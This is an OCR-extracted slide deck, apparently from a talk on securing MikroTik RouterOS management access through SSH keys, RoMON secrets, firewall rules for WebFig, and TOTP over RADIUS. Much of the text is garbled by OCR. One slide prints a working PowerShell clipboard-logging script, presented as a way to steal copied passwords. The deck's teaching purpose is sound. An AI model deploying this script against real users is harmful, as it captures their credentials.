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RouterOS management services
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. L

WebFig (tcp/80, tcp/443) WinBox (tcp/8291, L2, RoMON)
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Users | Groups SSH Keys SSH Private Keys  Active Users

0P (1| |57 | | Settings || AAA
Mame (Group Allowed Address Last Logged In

Mar/T2/205 215

Minimum Password Length: I]'| QK

Minimum Categories: |0 Cancel

Apply




User <user]=

Mame:

Group:

uszer]

read

| Allowed Address:

172.31.10.0/24

Last Logged In:
Inactivity Timeout:

Inactivity Policy:

enabled

00:10:00

noane

Disable

Comment

Copy

Remove

Fassword...

Expire Password




Secure Shell (SSH)

N O

no passwords, use SSH keys

g 2

verify host key use Strong crypto use SSH tunneling
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Creating the SSH key

To create the SSH key on Windows or Linux:

Copy the .pub file to the device (not the private one!)
Import the SSH key

User List

Users Groups SSHHKeys | SSHPrivate Keys Active Users

Il Import SSH Key

User Key Owner

Import SSH Key IE
User |test ¥ Import SSH Key

Key File: |testrsa.pub || ¥
Passphrase:

Key Owner:

Connect via SSH with key:
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Considerations when using SSH keys

Forwarding Enabled: |[ils]

Allow Mone Crypto

Host Key Size: | 2048
Export Host Key

HostKey Type: | RSA

Import Host Key

adding SSH key for the user will disable
password login via SSH by default

/ encrypt SSH private key with password

/ / save private key on encrypted storage
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Verity SSH Host key

7] C\WINDOWS\system32\cmd. X  + + O X

C:\>ssh admin@172.20.41.101

The authenticity of host '172.20.41.101 (172.20.41.101)' can't be established.
RSA key fingerprint is SHA256:90SBqrOaeZ3n+MbEulxjqCUvzkHdUfAc25MNaG+BmFI.
This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? |
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Be careful when the host key has changed!

Bt

C:\>ssh admin@172.20.41.101

@eeeeceeeePeCCeCACEARCOCCCACCARCACCCLACLACCACCCRCLLACCACEAREEQ
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @

daldaaeddddddaaadeeedddddaaadedeedddddadaaeeeaedddaaaeelEee

IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!

Someone could be eavesdropping on you right now (man—-in—-the-middle attack)!

It is also possible that a host key has just been changed.

The fingerprint for the RSA key sent by the remote host is
SHA256:90SBqrO0aeZ3n+MbEulxjqCUvzkHdUfAc25MNaG+BmFI.

Please contact your system administrator.

Add correct host key in C:\\Users\\dobsovic/.ssh/known_hosts to get rid of this m
essage.

Offending RSA key in C:\\Users\\dobsovic/.ssh/known_hosts:ul

Host key for 172.20.41.101 has changed and you have requested strict checking.
Host key verification failed.

C:\>|

C:\WINDOWS\system32\cmd. X + - — O X
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SSH Strong crypto

disable null encryption

192-bit and 256-bit encryption instead of 128-bit

sha256 instead of sha1l, disable md5

2048-bit prime for Diffie-Hellman exchange instead of 1024-bit

SSH Settings ] E3

Forwarding Enabled: |

Always Allow Password Login

Allow Mone Crypto

Host Key Size: | 2048

HostKey Type: | RSA

IP > SSH
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SSH tunneling

SSH Settings

Forwarding Enabled:

Host Key Size:

Host Key Type:

local
Always Allow Password Login

v Strong Crypto

Allow Mone Crypto

2048

RSA

IP > SSH
enable local forwarding

Cancel

Regenerate HostKey
Export Host Key

Import Host Key
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SSH tunneling

IP Service <winbox=
Mame: |winbox
Port: | 8291

Available From: | 127.0.0.0/8

IP = Service = winbox
allow WinBox only from localhost
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SSH tunneling

l_, WinBox (64bit) v3.41 (Addresses)

File Tools
Connect To: |127.0.0.1:1234 Keep Password

Login: |user Open In New Window

Passward; | s v| Auto Reconnect

Add/Set Connect To RoMON Connect

Create SSH tunnel, use any local port
Use the port to connect to WinBox

You have established MFA - SSH key + WinBox password
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RoMON - Router Management Overlay Network

: RoMON :

RoMON works, even if:

MAC WinBox Server MAC Telnet Server

Allowed Interface List: m _ Allowed Interface List m _

MAC WinBox Server disabled MAC Telnet Server disabled
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Attacking ROMON

The administrator

X Can't see any device (Discovery disabled)

X Can't connect to any device via L2 (MAC WinBox, MAC Telnet disabled)
v" Can connect via L3 to CRS

v" Can connect via RoMON to the second switch

' The attacker

u X Can't see any device (Discovery disabled)

X Can't connect to any device via L2 (MAC WinBox, MAC Telnet disabled)
X Can't connect to CRS via L3, because of the firewall

v" But can install CHR on his own computer and use ROMON
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Securing ROMON

RoMON Setiings (=] Ed

ID:

Secrets:

Current |D: |00 1560D:5C47-01

Many deployments are insecure
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Securing ROMON
Tools = RoMON - Ports

RoMOMN Port <ether3> =] E3
RoMOM Ports E E Interface: |etherd
Farbid

—

T

Interface Cost: (100
Disable

Comment

Co Py

FRemove

enabled

forbid interface all

add desired port set port Secrets
Since 7.17 Interface lists can be used



WebFig

new design since 7.17

you probably want to disable public access to www service (tcp/80), but...
it is required for providing the CRL
it is required for providing the Let's Encrypt challenges verification
it is used for REST API via http (you want to disable this, leave only https)

you can leave http server running and restrict just WebFig by:
setting Layer 7 Firewall rule
using WebProxy
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Protecting www service - Layer 7 Firewall

Creating Layer 7 Firewall Rule

/ip/firewall/layer7-protocol

add name=lets-encrypt regexp="\\/\\.well-known\\/acme-challenge"

Adding Firewall rules
/ip/firewall/filter

add action=accept chain=input comment="allow lets-encrypt" connection-
state=established protocol=tcp dst-port=80 layer7-protocol=lets—encrypt

add action=drop chain=input comment="block established tcp 80" connection-
state=established protocol=tcp dst-port=80

add action=accept chain=input comment="allow new tcp 80" connection-state=new
protocol=tcp dst-port=80
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Protecting www service - The WebProxy method

/ip/service

set www port=1234 address=127.0.0.0/8

/ip/proxy

set anonymous=yes enabled=yes parent-proxy=127.0.0.1 parent-proxy-port=1234 port=80
/ip/proxy/access

add action=deny path=!/.well-known/acme-challenge*

(or)

add action=redirect path=!/.well-known/acme-challenge* action-data=:
/ip/firewall/filter

add action=accept chain=input protocol=tcp dst-port=1234 src-address=127.0.0.0/8

*if you still need WebFig for yourself, you can use SSH tunnel




What is the most insecure method of authentication?

password

0 (1 MR s

LA A=

used everywhere  stored "securely" shared secrets interception

Jo
[

UL
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Protecting the passwords

AOE

hardware keylogger

antivirus?

malicious keyboard
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Protecting the passwords

38

—_—

Z

password safe application?

Open the app r Copy plain password
b b Paste plain password
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Script for stealing the clipboard content © ChatGPT ©

# Set the path to the file where clipboard content will be saved
$filepath = "C:\temp\clipboard.txt"

# Ensure the output directory exists
if (-not (Test-Path -Path (Split-Path $filepath))) {

New-Item -ItemType Directory -Path (Split-Path $filepath) | out-Null
}

# Function to get the current clipboard content
function Get-ClipboardContent {
Add-Type -AssemblyName PresentationCore
[windows.CTipboard]: :GetText()
}

# Initialize the previous clipboard content variable
$previousContent = ""

write-Host "Monitoring clipboard. Press Ctrl+C to stop."

try {
while ($true) {
# Get the current clipboard content
$currentContent = Get-ClipboardContent

# Check if the content has changed
if ($currentContent -ne $previousContent) {
$previousContent = $currentContent

# Append the new content to the file
$currentContent | Add-Content -Path $filePath -Force

write-Host "Clipboard content updated and appended to file."
}

# wait for 1 second before checking again
Start-Sleep -Seconds 1

} catch {
wWrite-Error "An error occurred: $_"
3

28



What can we do about it?

Password1! ‘

Password11598423
Password1!097681

TOTP

Time-based One-Time Password

29



TOTP Requirements

RADIUS server

RouterOS 7.8+
no smips support

O

correct date / time

It's time-based

TOTP application

Microsoft Authenticator
Google Authenticator

https://totp.app
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Suspicious (scam?) applications, even in official stores...

< microsoft authenticator Q \[.]/

O tychto vysledkoch ()

Sponzorované : » sponsored
Authenticator App - S... i '
. SafeAuth Services. Instalovat
4,7+ M PEGI3 Nakupy v aplikacii > In-app purchases

Obsahuje reklamy » contains ads

similar
icons

Aplicativo autenticador - otp - Protegao garantida: autentique a8 e
login com 2fal > Description is in Portuguese, but my

phone is set to Slovak
Microsoft Authenticator
a 2 Nainstalovane
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Generating the TOTP Secret

cput [:rndstr from="ABCDEFGHIJKLMNOPQRSTUVWXYZ23U567" length=16]

RouterQOS Script

$b32Alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ23U4567"
$random = New-Object System.Random

-Join (1..16 | % {$b32Alpha[$random.Next(0, $b32Alpha.Length)]})

PowerShell Script
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Generating the TOTP Secret

#!/bin/bash

b32_alpha="ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
secret=""

for i in ‘seq 1 16'; do
index=$((RANDOM % ${#b32_alphal}))
secret=%${secret}${b32_alpha:$index:1}
done

echo $secret

bash Script
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Demo: TOTP Setup - Scenario

RADIUS server RADIUS client

device responsible for AAA device accessed by the user

RADIUS server and RADIUS client will be the same device

34



Demo: TOTP Setup - RADIUS Server

Install User manager package

User Manager - Routers = Settings

Routers | Users UserGroups Sessions Profles UserProfiles Limitations Profile Limitations

+ W | | Sefings | Generate Report

Address CoA Port Access Requ... |Access Failures

Authentication Port: | 1812
Accounting Port: | 1813
Certificate:
Use Profiles

Advanced
Require Message Auth: | yes access request

Active Sessions: (0

0 items

Attributes

[w]EY

Payment
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Demo: TOTP Setup - RADIUS Server

User Manager - Routers - +

Mew Router
Mame: | my-router Ok
Shared Secret | $tringP@5%wird Cancel

Address: '|| Apply
CoA Port | 3799
Disable
Access Requests: |

Copy

Access Failures: |0
Hemove

Broken Requests: |( Reset Counters

Unknowo R



Demo: TOTP Setup - RADIUS Server

User Manager - Users - +

Add User - do not add the user to System = Users (it bypasses the RADIUS)
Mew User Iil

General | Status

=

Mame: user el
Password: | StrongPassword123 Apply

OTP Secret | MBRQ2642L3C57LLT ,
Disable

+

Group: | default
Comment

Caller 1D:

L
[
[}

=
e,

1

Shared Users: | 1

b

Remove

Attributes: | Mikrotik-Group Generate Voucher
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Demo: TOTP Setup - RADIUS Client

RADIUS - +

MNew RADIUS Server

General | Status

Service:

Called ID:
Domain:
Address:

Protocol:

PPP
hotspot

dhcp

dotlx

udp

(] 4
Cancel

wireless Apply

i s58cC
Ps Disable

Comment
Copy
Remove

Reset Status

Secret | $tringP@3%$wird
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Demo: TOTP Setup - RADIUS Client
System = Users 2> AAA

Login Authentication&Accounting

v Accounting
Interim Update:

Default Group: | read

Exclude Groups:

Cancel

Apply
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Demo: TOTP Setup - Logon process

Username: user
Password: StrongPassword123845017

Problem: WinBox terminal won't work, the password is for one-time use only.
Solution: Use SSH.
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Do you want to have a nice QR code?

create QR code with the following string:
otpauth://totp/LABEL?secret=XXX&issuer=ISSUER%20COMPANY
for the lazy ones: https://stefansundin.github.io/2fa-qr/

123 456

ISSUER COMPANY (LABEL)
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